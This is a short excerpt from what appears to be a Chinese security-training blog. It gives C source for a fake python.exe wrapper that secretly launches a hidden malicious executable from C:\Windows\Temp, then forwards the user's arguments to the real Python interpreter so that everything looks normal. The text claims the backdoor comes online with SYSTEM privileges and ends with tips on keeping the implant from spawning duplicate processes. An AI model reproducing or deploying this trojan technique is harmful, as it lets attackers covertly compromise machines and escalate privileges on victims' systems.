原创 掌控安全学院 - camer
#include <windows.h>
#include <stdio.h>int main(int argc, char *argv[]) {// 恶意程序wchar_t* Shell = L"C:\\Windows\\Temp\\shell.exe";HINSTANCE hInstance1 = ShellExecuteW(NULL, L"open", Shell, NULL, NULL, SW_HIDE);// 保证python程序能够正常执行if (argc >= 2) {const char* pythonPath = "C:\\Users\\camer\\AppData\\Local\\Programs\\Python\\Python39\\python.exe";// 构建调用Python脚本的命令char pythonCommand[4096]; // Increased buffer size to accommodate more argumentssnprintf(pythonCommand, sizeof(pythonCommand), "%s %s", pythonPath, argv[1]);// 将额外的参数添加到 Python 命令中for (int i = 2; i < argc; ++i) {strcat(pythonCommand, " ");strcat(pythonCommand, argv[i]);}// 调用Python脚本system(pythonCommand);}return 0;
}
假设用户要使用管理员权限执行python文件,调用python执行命令(python文件随便让GPT生成的):
python 1.py greeting morning
执行成功会发现正常运行输出,但是实际后台执行恶意程序并上线成功,并且具有SYSTEM权限的,如下所示:
0x04 思考总结
普通用户权限调用python也会上线,并且最好shell添加防止进程多开的功能,不然后台容易都是马。